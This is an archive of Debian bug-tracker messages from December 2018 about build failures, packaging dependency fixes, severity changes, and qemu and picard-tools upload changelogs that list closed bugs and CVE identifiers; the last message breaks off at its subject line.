Source: picard-tools Version: 2.8.1+dfsg-4 Severity: serious Tags: ftbfs Control: fixed -1 2.18.14+dfsg-1 Control: close -1 https://tests.reproducible-builds.org/debian/rb-pkg/buster/amd64/picard-tools.html ... /build/picard-tools-2.8.1+dfsg/src/main/java/picard/sam/RevertSam.java:35: error: cannot find symbol import htsjdk.samtools.SAMRecordUtil; ^ symbol: class SAMRecordUtil location: package htsjdk.samtools /build/picard-tools-2.8.1+dfsg/src/main/java/picard/fingerprint/GenotypeReader.java:36: error: cannot find symbol import htsjdk.tribble.readers.LineReaderUtil; ^ symbol: class LineReaderUtil location: package htsjdk.tribble.readers /build/picard-tools-2.8.1+dfsg/src/main/java/picard/vcf/GatherVcfs.java:245: error: reference to BlockCompressedOutputStream is ambiguous final BlockCompressedOutputStream blockOut = new BlockCompressedOutputStream(out, null); ^ both constructor BlockCompressedOutputStream(OutputStream,File) in BlockCompressedOutputStream and constructor BlockCompressedOutputStream(OutputStream,Path) in BlockCompressedOutputStream match This is already fixed in unstable.
Processed: Re: Bug#916262: staden-io-lib: data/xx#unsorted.sam fails randomly
Processing control commands: > tags -1 upstream Bug #916262 [src:staden-io-lib] staden-io-lib: data/xx#unsorted.sam fails randomly Added tag(s) upstream. > forwarded -1 James Bonfield Bug #916262 [src:staden-io-lib] staden-io-lib: data/xx#unsorted.sam fails randomly Set Bug forwarded-to-address to 'James Bonfield '. -- 916262: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916262 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916262: staden-io-lib: data/xx#unsorted.sam fails randomly
Control: tags -1 upstream Control: forwarded -1 James Bonfield Hi James, besides the remaining build issues on some architectures there is a new bug report about random failures. I hope you will have a clue about this. Kind regards Andreas. On Wed, Dec 12, 2018 at 12:36:43PM +0200, Adrian Bunk wrote: > Source: staden-io-lib > Version: 1.14.11-5 > Severity: serious > Tags: ftbfs > Control: block 912272 by -1 > > https://buildd.debian.org/status/package.php?p=staden-io-lib > https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/staden-io-lib.html > > ... > === testing ./data/xx#unsorted.sam === > ../progs/scramble ./data/xx#unsorted.sam test.out/xx#unsorted.bam > ../progs/scramble -r ./data/xx.fa test.out/xx#unsorted.bam > test.out/xx#unsorted.full.cram > ../progs/scramble test.out/xx#unsorted.bam > test.out/tmp.sam > ../progs/scramble test.out/xx#unsorted.full.cram > > test.out/xx#unsorted.full.sam > ../progs/scramble -O bam test.out/xx#unsorted.full.cram > > test.out/xx#unsorted.full.bam > ../progs/scramble test.out/xx#unsorted.full.bam test.out/tmp.sam > ./compare_sam.pl --nopg test.out/xx#unsorted.full.sam > test.out/xx#unsorted.full.bam.sam > ../progs/scramble -x -r ./data/xx.fa test.out/xx#unsorted.bam > test.out/xx#unsorted.full.cram > ../progs/scramble test.out/xx#unsorted.full.cram > > test.out/xx#unsorted.full.sam > ./compare_sam.pl --unknownrg ./data/xx#unsorted.sam > test.out/xx#unsorted.full.bam.sam > > ../progs/scramble -H -r ./data/ce.fa test.out/ce#sorted.full.cram > No region: 1024176 > FAIL: scram.test > ... > === testing ./data/xx#unsorted.sam === > ../progs/scramble -t4 ./data/xx#unsorted.sam test.out/xx#unsorted.bam > ../progs/scramble -t4 -r ./data/xx.fa test.out/xx#unsorted.bam > test.out/xx#unsorted.full.cram > ../progs/scramble -t4 test.out/xx#unsorted.bam > test.out/tmp.sam > ../progs/scramble -t4 test.out/xx#unsorted.full.cram > > test.out/xx#unsorted.full.sam > ../progs/scramble -t4 -O bam test.out/xx#unsorted.full.cram > > test.out/xx#unsorted.full.bam > ../progs/scramble -t4 test.out/xx#unsorted.full.bam test.out/tmp.sam > ./compare_sam.pl --nopg test.out/xx#unsorted.full.sam > test.out/xx#unsorted.full.bam.sam > ../progs/scramble -t4 -x -r ./data/xx.fa test.out/xx#unsorted.bam > test.out/xx#unsorted.full.cram > ../progs/scramble -t4 test.out/xx#unsorted.full.cram > > test.out/xx#unsorted.full.sam > ./compare_sam.pl --unknownrg ./data/xx#unsorted.sam > test.out/xx#unsorted.full.bam.sam > > ../progs/scramble -t4 -H -r ./data/ce.fa test.out/ce#sorted.full.cram > No region: 1024176 > FAIL: scram_mt.test > ... > > > data/xx#unsorted.sam seems to fail randomly, with failures and passes > seen on the same architecture (including amd64). > > ___ > Debian-med-packaging mailing list > debian-med-packag...@alioth-lists.debian.net > https://alioth-lists.debian.net/cgi-bin/mailman/listinfo/debian-med-packaging -- http://fam-tille.de
Bug#913752: Why is an "all" package compiling things?
Control: severity -1 wishlist IMHO there is nothing RC here, more a wishlist bug to switch this to autopkgtest once autopkgtest will be run for more architectures. On Thu, Nov 15, 2018 at 12:34:01PM +0200, Konstantinos Margaritis wrote: > Στις 14-11-2018, ημέρα Τετ, και ώρα 18:53 +, ο/η Steve McIntyre > έγραψε: > > Package: autobahn-cpp > > Version: 17.5.1+git7cc5d37-2 > > Severity: serious > > Justification: fails to build from source > > > > Hi, > > > > Running an rebuild of armhf and armel running on top of arm64 > > machines, I'm seeing build failures for autobahn-cpp. Investigating > > further, I can see that it's not actually trying to create > > arch-specific binary-any packages at all but only installs headers > > and > > docs. What is going on? > > Hi Steve, > > Indeed the package does only install headers but it does try to build > the tests on each arch. Where can I find the build logs on the arm64 > systems to see where it fails? I don't see them on buildd logs. > > > > Regards > > Konstantinos
Processed: Re: Bug#913752: Why is an "all" package compiling things?
Processing control commands: > severity -1 wishlist Bug #913752 [autobahn-cpp] Why is an "all" package compiling things? Severity set to 'wishlist' from 'serious' -- 913752: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=913752 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916262: staden-io-lib: data/xx#unsorted.sam fails randomly
Source: staden-io-lib Version: 1.14.11-5 Severity: serious Tags: ftbfs Control: block 912272 by -1 https://buildd.debian.org/status/package.php?p=staden-io-lib https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/staden-io-lib.html ... === testing ./data/xx#unsorted.sam === ../progs/scramble ./data/xx#unsorted.sam test.out/xx#unsorted.bam ../progs/scramble -r ./data/xx.fa test.out/xx#unsorted.bam test.out/xx#unsorted.full.cram ../progs/scramble test.out/xx#unsorted.bam > test.out/tmp.sam ../progs/scramble test.out/xx#unsorted.full.cram > test.out/xx#unsorted.full.sam ../progs/scramble -O bam test.out/xx#unsorted.full.cram > test.out/xx#unsorted.full.bam ../progs/scramble test.out/xx#unsorted.full.bam test.out/tmp.sam ./compare_sam.pl --nopg test.out/xx#unsorted.full.sam test.out/xx#unsorted.full.bam.sam ../progs/scramble -x -r ./data/xx.fa test.out/xx#unsorted.bam test.out/xx#unsorted.full.cram ../progs/scramble test.out/xx#unsorted.full.cram > test.out/xx#unsorted.full.sam ./compare_sam.pl --unknownrg ./data/xx#unsorted.sam test.out/xx#unsorted.full.bam.sam ../progs/scramble -H -r ./data/ce.fa test.out/ce#sorted.full.cram No region: 1024176 FAIL: scram.test ... === testing ./data/xx#unsorted.sam === ../progs/scramble -t4 ./data/xx#unsorted.sam test.out/xx#unsorted.bam ../progs/scramble -t4 -r ./data/xx.fa test.out/xx#unsorted.bam test.out/xx#unsorted.full.cram ../progs/scramble -t4 test.out/xx#unsorted.bam > test.out/tmp.sam ../progs/scramble -t4 test.out/xx#unsorted.full.cram > test.out/xx#unsorted.full.sam ../progs/scramble -t4 -O bam test.out/xx#unsorted.full.cram > test.out/xx#unsorted.full.bam ../progs/scramble -t4 test.out/xx#unsorted.full.bam test.out/tmp.sam ./compare_sam.pl --nopg test.out/xx#unsorted.full.sam test.out/xx#unsorted.full.bam.sam ../progs/scramble -t4 -x -r ./data/xx.fa test.out/xx#unsorted.bam test.out/xx#unsorted.full.cram ../progs/scramble -t4 test.out/xx#unsorted.full.cram > test.out/xx#unsorted.full.sam ./compare_sam.pl --unknownrg ./data/xx#unsorted.sam test.out/xx#unsorted.full.bam.sam ../progs/scramble -t4 -H -r ./data/ce.fa test.out/ce#sorted.full.cram No region: 1024176 FAIL: scram_mt.test ... data/xx#unsorted.sam seems to fail randomly, with failures and passes seen on the same architecture (including amd64).
Bug#916198: marked as done ([piuparts] libpaper1 fails to purge: ucf not found)
Your message dated Wed, 12 Dec 2018 11:05:50 +0100 with message-id and subject line Re: Bug#916197: libpaper1: postrm fails, uses ucf unconditionally has caused the Debian Bug report #916197, regarding [piuparts] libpaper1 fails to purge: ucf not found to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916197: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916197 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: libpaper1 Version: 1.1.25 Severity: serious piuparts detected that libpaper1 fails to purge, because its postrm doesn't check that ucf is available during purge. https://piuparts.debian.org/sid/fail/libpaper1_1.1.25.log Purging configuration files for libpaper1:amd64 (1.1.25) ... /var/lib/dpkg/info/libpaper1:amd64.postrm: 16: /var/lib/dpkg/info/libpaper1:amd64.postrm: ucf: not found dpkg: error processing package libpaper1:amd64 (--purge): installed libpaper1:amd64 package post-removal script subprocess returned error exit status 127 Errors were encountered while processing: libpaper1:amd64 It should test for ucf's presence, for example as openssh does: if which ucf >/dev/null 2>&1; then ucf --purge /etc/ssh/sshd_config fi (This is serious as it affects all reverse dependencies of libpaper1 in their piuparts logs too) Cheers, OdyX --- End Message --- --- Begin Message --- Hello, the reported problem about ucf invocation in libpaper postrm script has been fixed. Thank you, Giuseppe--- End Message ---
Processed: staden-io-lib: data/xx#unsorted.sam fails randomly
Processing control commands:
> block 912272 by -1
Bug #912272 {Done: Andreas Tille } [src:staden-io-lib]
staden-io-lib FTBFS: dh_installdocs: Cannot find (any matches for) "README"
(tried in .)
912272 was not blocked by any bugs.
912272 was not blocking any bugs.
Added blocking bug(s) of 912272: 916262
--
912272: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=912272
916262: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916262
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#916197: marked as done (libpaper1: postrm fails, uses ucf unconditionally)
Your message dated Wed, 12 Dec 2018 11:05:50 +0100 with message-id and subject line Re: Bug#916197: libpaper1: postrm fails, uses ucf unconditionally has caused the Debian Bug report #916197, regarding libpaper1: postrm fails, uses ucf unconditionally to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916197: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916197 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: libpaper1 Version: 1.1.25 Severity: serious Dear Maintainer, the postrm fails because it uses ucf unconditionally. When executing the postrm, dependencies are not guaranteed to be installed. Please see /usr/share/doc/ucf/examples/postrm on how to do it corretly. See also https://piuparts.debian.org/sid/fail/libpaper1_1.1.25.log Regards, Carsten --- End Message --- --- Begin Message --- Hello, the reported problem about ucf invocation in libpaper postrm script has been fixed. Thank you, Giuseppe--- End Message ---
Bug#909181: marked as done (libmariadb-dev: does not depend on zlib1g-dev, while mariadb_config reports `-lz`)
Your message dated Wed, 12 Dec 2018 10:18:51 + with message-id and subject line Bug#909181: fixed in mariadb-connector-c 1:3.0.7-2 has caused the Debian Bug report #909181, regarding libmariadb-dev: does not depend on zlib1g-dev, while mariadb_config reports `-lz` to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 909181: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=909181 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: libmariadb-dev Version: 1:3.0.6-1 Severity: serious Hi, libmariadb-dev on Debian/stretch behaved like that: % mariadb_config --libs -L/usr/lib/x86_64-linux-gnu -lmariadb while libmariadb-dev on (current, as of 2018-09-19) Debian/buster behaves like that: % mariadb_config --libs -L/usr/lib/x86_64-linux-gnu/ -lmariadb -lz -ldl -lm -lpthread -lssl -lcrypto But libmariadb-dev does NOT depend on zlib1g-dev: % apt-cache show libmariadb-dev | grep Depends Depends: libmariadb3 (= 1:3.0.6-1), libc6 (>= 2.3.4) That means projects depending on libmariadb-dev will stop building, if they don't have zlib1g-dev in their Build-Depends already. Possible solutions: 1) hide those new depends (-lz ...) again 2) add relevant library/libraries to Depends The first option is probably preferable, because it looks like those are implementation details, and they should not leak into transitive dependers. regards, -mika- --- End Message --- --- Begin Message --- Source: mariadb-connector-c Source-Version: 1:3.0.7-2 We believe that the bug you reported is fixed in the latest version of mariadb-connector-c, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 909...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Otto Kekäläinen (supplier of updated mariadb-connector-c package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Wed, 12 Dec 2018 11:32:06 +0200 Source: mariadb-connector-c Binary: libmariadb3 libmariadb-dev libmariadb-dev-compat Architecture: source Version: 1:3.0.7-2 Distribution: unstable Urgency: low Maintainer: Debian MySQL Maintainers Changed-By: Otto Kekäläinen Description: libmariadb-dev - MariaDB Connector/C, development files libmariadb-dev-compat - MariaDB Connector/C, compatibility symlinks libmariadb3 - MariaDB Connector/C Closes: 909181 Changes: mariadb-connector-c (1:3.0.7-2) unstable; urgency=low . * Add libssl-dev and zlib1g-dev as libmariadb-dev depends (Closes: #909181) * Add curl as dependency so remote_io module builds * Make libmariadb3 install list explicit on included connector plugins * Update gitlab-ci.yml to latest revision from Salsa-CI team * Extend libmariadb-dev with libmariadb.pc config Checksums-Sha1: 2ab8fff5f596dd3f81c13e66a0883923e91fd304 2558 mariadb-connector-c_3.0.7-2.dsc e121676927f985701c052b5dcc758c2d1b64edf0 24388 mariadb-connector-c_3.0.7-2.debian.tar.xz 5f02676233627d18f83464d1916e295fbe33cd11 7900 mariadb-connector-c_3.0.7-2_source.buildinfo Checksums-Sha256: bd00debf598f312dca69dd83c595cdfe1205a365a49cc4db576944b997a812d3 2558 mariadb-connector-c_3.0.7-2.dsc 9b396220497c6e5931567109a6559e0dd0cd92f951ee00e5b2eab7edd7b1304a 24388 mariadb-connector-c_3.0.7-2.debian.tar.xz 229a04423a0db7ea9d0482370d17e21be6cd8f0eafc00f181fada2dffdcd92f6 7900 mariadb-connector-c_3.0.7-2_source.buildinfo Files: f42a27bedcf2f7937eb96259ea65ab5b 2558 libs optional mariadb-connector-c_3.0.7-2.dsc c7f42bbe3646aef82ad269429855caff 24388 libs optional mariadb-connector-c_3.0.7-2.debian.tar.xz c78ab7d0d8de70d88c2a9cb2af624cd6 7900 libs optional mariadb-connector-c_3.0.7-2_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEEmbRSsR88dMO0U+RvvthEn87o2ogFAlwQ3K4ACgkQvthEn87o 2ohMEA/9FIwaPaaAW/N2Tfqlb6LiSK+OVKYOKH21wSGMtVARuIsTvTu1hAX5+AI8 78da3+V0Q4eFHBm8F+pus+Yx6a0Q7f9fvdJevfRB1Hbf35VyamFukKnsHe2W00Vu bnfL/m5Gka0WEyPtHmPBdqiLqOkDW/UKTkC34U65ZVRYQJ8Vc9n/pzqyGToPTICF JxmBP/5PX2ia+SqanDloFlWsHl5vyC3DiQduLL3ifBG4TMFULvfkRD3MuHmp8PxT qLUhBecV6WgnawASpj6BKp04HlhVICnTO890sOl69V1yzN03GjypHYzwHSN2JYxw 51Fd+k/IR9g4t7RV+KV96ZmY2e+ymGfunwpzzuM0De0SvKNHX8Fam9XfY5Xx3+ec
Processed: fixed 911956 in 0.6.2-1
Processing commands for cont...@bugs.debian.org:
> fixed 911956 0.6.2-1
Bug #911956 {Done: Boyuan Yang } [src:yaml-cpp]
[src:yaml-cpp] FTBFS with boost1.67
Marked as fixed in versions yaml-cpp/0.6.2-1.
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
911956: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=911956
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Processed (with 1 error): Re: Bug#911844: okular: Prints to the wrong printer
Processing commands for cont...@bugs.debian.org: > On Thu 25 Oct 2018 at 12:50:25 +0100, Brian Potkin wrote: Unknown command or malformed arguments to command. > forwarded 911844 https://bugs.kde.org/show_bug.cgi?id=402015 Bug #911844 [okular] okular: Prints to the wrong printer Set Bug forwarded-to-address to 'https://bugs.kde.org/show_bug.cgi?id=402015'. > thanks Stopping processing here. Please contact me if you need assistance. -- 911844: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=911844 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#883778: Are there any news?
Hello I'm using GnuCash for my private finances. This bug prevent the transition of GnuCash to Testing/Buster. Best regards and thank you for the great support. Bernhard signature.asc Description: This is a digitally signed message part
Bug#911938: not deadlocking totally though
Hi,
It's not completly hung; It's just that it takes 3 minutes to timeout:
root@vm-cyrille-debian:~# date;perl -MLWP::UserAgent -e
'LWP::UserAgent->new->post("https://facebook.com;, { data => "foo" }) or
die';date
Wed Dec 12 09:28:37 UTC 2018
Wed Dec 12 09:31:42 UTC 2018
Cyrille
Bug#912682: e: Bug#912682: usefulness of this package?
On Tue, 11 Dec 2018 15:13:11 + Dominic Hargreaves wrote: > On Tue, Dec 11, 2018 at 10:06:45AM +0100, Cyrille Bollu wrote: > > From its debian/control file: > > > > >This module is already included as part of Perl's core distribution, so > > this > > > package is only beneficial when newer features or bug fixes are required. > > > > I don't understand how > > The perl package provides the same package via a Provides entry: > libextutils-parsexs-perl (= 3.39). This is newer than the version > in the separate package (against which this bug is filed) so this > package will never be selected for installation. > > This could change if a newer version is uploaded, but until then, > the separate package should not be released. > > Dominic. > Ok but I don't see how this bug differs from #915550 and #915876 for both of which the intent seems to remove the corresponding packages. Shouldn't this package also be considered for removal? Cyrille
Bug#905254: Status of libphp-phpmailer
Le 09/12/2018 à 15:01, Chris Lamb a écrit : > Chris Lamb wrote: > >>> However, the git does not seem to have been moved to salsa. >> >> I fixed a number of CVEs recently and I would love to push my changes >> to suitable branches. Can the PEAR maintainers please migrate this >> repo ASAP? > > Gentle ping on this folks? :) > > Best wishes, Hi all, I need PHPMailer >= 6 for ocsinventory 2.5: some CVEs are fixed in this version and can't be ported to version 2.4.1. So may I have to embed a copy or wait for libphp-phpmailer update ? Cheers, Xavier
Processed: fixed 915484 in 15.03.4
Processing commands for cont...@bugs.debian.org:
> fixed 915484 15.03.4
Bug #915484 {Done: Bdale Garbee } [openrocket] openrocket is an
installer that must move to contrib
Marked as fixed in versions openrocket/15.03.4.
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
915484: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=915484
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#893723: [Pkg-nagios-devel] Bug#893723: 1.9.10 closing 4 bugs
Hi Sébastien, Thanks for your work on nagvis. On 12/12/18 10:02 AM, Sébastien Delafond wrote: > I've got a 1.9.10 nagvis package ready in salsa[0], that fixes four of > the currently open bugs including this one. I've also manually included > 1:1.7.10+dfsg1-3.2, which wasn't present in the salsa repository. > > Would you like an actual MR ? I'm also attaching a debdiff of debian/* > to this report, and pasting the corresponding changelog here: Instead of an MR, I've added you to the team so you can push the changes yourself. > Unless you object, I plan on uploading this to delayed/10 later this > week: the RC bug is 9 months old, and the last uploads of nagvis are all > quite old and were all NMUs as well. Please make it a proper team upload if you don't want to add yourself to Uploaders. Kind Regards, Bas -- GPG Key ID: 4096R/6750F10AE88D4AF1 Fingerprint: 8182 DE41 7056 408D 6146 50D1 6750 F10A E88D 4AF1
Bug#911469: marked as done (qemu: CVE-2018-17963: net: ignore packets with large size)
Your message dated Wed, 12 Dec 2018 09:16:37 + with message-id and subject line Bug#911469: fixed in qemu 1:3.1+dfsg-1 has caused the Debian Bug report #911469, regarding qemu: CVE-2018-17963: net: ignore packets with large size to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 911469: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=911469 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: qemu Version: 1:2.12+dfsg-3 Severity: important Tags: security upstream Hi, The following vulnerability was published for qemu. CVE-2018-17963[0]: | qemu_deliver_packet_iov in net/net.c in Qemu accepts packet sizes | greater than INT_MAX, which allows attackers to cause a denial of | service or possibly have unspecified other impact. If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2018-17963 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17963 [1] https://lists.gnu.org/archive/html/qemu-devel/2018-09/msg03267.html Please adjust the affected versions in the BTS as needed. Regards, Salvatore --- End Message --- --- Begin Message --- Source: qemu Source-Version: 1:3.1+dfsg-1 We believe that the bug you reported is fixed in the latest version of qemu, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 911...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Michael Tokarev (supplier of updated qemu package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Sun, 02 Dec 2018 19:10:27 +0300 Source: qemu Binary: qemu qemu-system qemu-block-extra qemu-system-data qemu-system-common qemu-system-gui qemu-system-misc qemu-system-arm qemu-system-mips qemu-system-ppc qemu-system-sparc qemu-system-x86 qemu-user qemu-user-static qemu-user-binfmt qemu-utils qemu-guest-agent qemu-kvm Architecture: source Version: 1:3.1+dfsg-1 Distribution: unstable Urgency: medium Maintainer: Debian QEMU Team Changed-By: Michael Tokarev Description: qemu - fast processor emulator, dummy package qemu-block-extra - extra block backend modules for qemu-system and qemu-utils qemu-guest-agent - Guest-side qemu-system agent qemu-kvm - QEMU Full virtualization on x86 hardware qemu-system - QEMU full system emulation binaries qemu-system-arm - QEMU full system emulation binaries (arm) qemu-system-common - QEMU full system emulation binaries (common files) qemu-system-data - QEMU full system emulation (data files) qemu-system-gui - QEMU full system emulation binaries (user interface and audio sup qemu-system-mips - QEMU full system emulation binaries (mips) qemu-system-misc - QEMU full system emulation binaries (miscellaneous) qemu-system-ppc - QEMU full system emulation binaries (ppc) qemu-system-sparc - QEMU full system emulation binaries (sparc) qemu-system-x86 - QEMU full system emulation binaries (x86) qemu-user - QEMU user mode emulation binaries qemu-user-binfmt - QEMU user mode binfmt registration for qemu-user qemu-user-static - QEMU user mode emulation binaries (static version) qemu-utils - QEMU utilities Closes: 795486 813658 901017 902501 902725 907500 908682 910431 911468 911469 911470 911499 912535 914599 914604 914727 915884 Changes: qemu (1:3.1+dfsg-1) unstable; urgency=medium . * new upstream release (3.1) * Security bugs fixed by upstream: Closes: #910431, CVE-2018-10839: integer overflow leads to buffer overflow issue Closes: #911468, CVE-2018-17962 pcnet: integer overflow leads to buffer overflow Closes: #911469, CVE-2018-17963 net: ignore packets with large size Closes: #908682, CVE-2018-3639 qemu should be able to pass the ssbd cpu flag Closes: #901017, CVE-2018-11806 m_cat in slirp/mbuf.c in Qemu has a heap-based buffer overflow via incoming fragmented datagrams Closes: #902725, CVE-2018-12617 qmp_guest_file_read in qemu-ga has an integer overflow Closes: #907500, CVE-2018-15746 qemu-seccomp might allow local OS guest
Bug#915898: marked as done (picard-tools FTBFS: error: module not found: java.xml.bind)
Your message dated Wed, 12 Dec 2018 09:16:23 + with message-id and subject line Bug#915898: fixed in picard-tools 2.18.17+dfsg-1 has caused the Debian Bug report #915898, regarding picard-tools FTBFS: error: module not found: java.xml.bind to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 915898: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=915898 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: picard-tools Version: 2.18.14+dfsg-1 Severity: serious Tags: ftbfs https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/picard-tools.html ... Starting process 'command '/usr/lib/jvm/java-11-openjdk-amd64/bin/javadoc''. Working directory: /build/1st/picard-tools-2.18.14+dfsg Command: /usr/lib/jvm/java-11-openjdk-amd64/bin/javadoc @/build/1st/picard-tools-2.18.14+dfsg/build/tmp/javadoc/javadoc.options Successfully started process 'command '/usr/lib/jvm/java-11-openjdk-amd64/bin/javadoc'' error: module not found: java.xml.bind 1 error Problems generating Javadoc. Command line issued: [/usr/lib/jvm/java-11-openjdk-amd64/bin/javadoc, @/build/1st/picard-tools-2.18.14+dfsg/build/tmp/javadoc/javadoc.options] Generated Javadoc options file has following contents: --- End Message --- --- Begin Message --- Source: picard-tools Source-Version: 2.18.17+dfsg-1 We believe that the bug you reported is fixed in the latest version of picard-tools, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 915...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Andreas Tille (supplier of updated picard-tools package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 12 Dec 2018 09:06:37 +0100 Source: picard-tools Binary: picard-tools libpicard-java libpicard-java-doc Architecture: source Version: 2.18.17+dfsg-1 Distribution: unstable Urgency: medium Maintainer: Debian Med Packaging Team Changed-By: Andreas Tille Description: libpicard-java - Java library to manipulate SAM and BAM files libpicard-java-doc - Documentation for the java picard library picard-tools - Command line tools to manipulate SAM and BAM files Closes: 880258 905645 915898 Changes: picard-tools (2.18.17+dfsg-1) unstable; urgency=medium . [ Emmanuel Bourg ] * Fixed the build failure with Java 11 Closes: #915898, #880258 . [ Andreas Tille ] * New upstream version * Secure URI in copyright format * Remove trailing whitespace in debian/changelog * Remove trailing whitespace in debian/control * Remove trailing whitespace in debian/rules * Add ALIGNMENT_STATUS=All to command line Closes: #905645 Checksums-Sha1: d65c4d007e83eaf0daac7802b71a74825d336118 2677 picard-tools_2.18.17+dfsg-1.dsc dab730ed61103e2eb75f790804c6ed417627d6b1 19100880 picard-tools_2.18.17+dfsg.orig.tar.xz e0f5795d9366ca544452165a0925853d9dd2ca17 15792 picard-tools_2.18.17+dfsg-1.debian.tar.xz 5028d24bf4af2019329de70012d9b019426cb065 18758 picard-tools_2.18.17+dfsg-1_amd64.buildinfo Checksums-Sha256: e98fb7f11f08679cfc6487174e47bd2fe605b2b7e9a78d6ceb67cd99e0c4f530 2677 picard-tools_2.18.17+dfsg-1.dsc fbc255ef5ef610db8ad0610ed019b9891edfb49087ed455d0812025972d418d7 19100880 picard-tools_2.18.17+dfsg.orig.tar.xz 4d76792d4096f93b5353b81c094d917b2c584aa2f4cf0d4b2136d4efb166f28a 15792 picard-tools_2.18.17+dfsg-1.debian.tar.xz 494be6b6c2ae1ad80248e3dc95e343d90dc9ec74027a5bbaee409587ee9aa433 18758 picard-tools_2.18.17+dfsg-1_amd64.buildinfo Files: d1cb3c249b7b07bc85387f7e04e41df3 2677 science optional picard-tools_2.18.17+dfsg-1.dsc a0ff4f2ec40fa96d2771a38af2fbb83e 19100880 science optional picard-tools_2.18.17+dfsg.orig.tar.xz 3d5804714efdcaa508dc44e4a44a0f86 15792 science optional picard-tools_2.18.17+dfsg-1.debian.tar.xz a36ef6d5d8fd1748f46717d74dc2517d 18758 science optional picard-tools_2.18.17+dfsg-1_amd64.buildinfo -BEGIN PGP SIGNATURE- iQJFBAEBCAAvFiEE8fAHMgoDVUHwpmPKV4oElNHGRtEFAlwQyQoRHHRpbGxlQGRl Ymlhbi5vcmcACgkQV4oElNHGRtE2iQ//YqyLeQsUFR7X4vV7bnNRrwnTHED6ApYM VFgKudCfOT6PsbBPce/SNExY6QTP4TJIO5oVJRQyOhuLtrMr8Oj9XkFw6kafcAuc
Bug#915884: marked as done (qemu: CVE-2018-16867: dev-mtp: path traversal in usb_mtp_write_data of the Media Transfer Protocol (MTP))
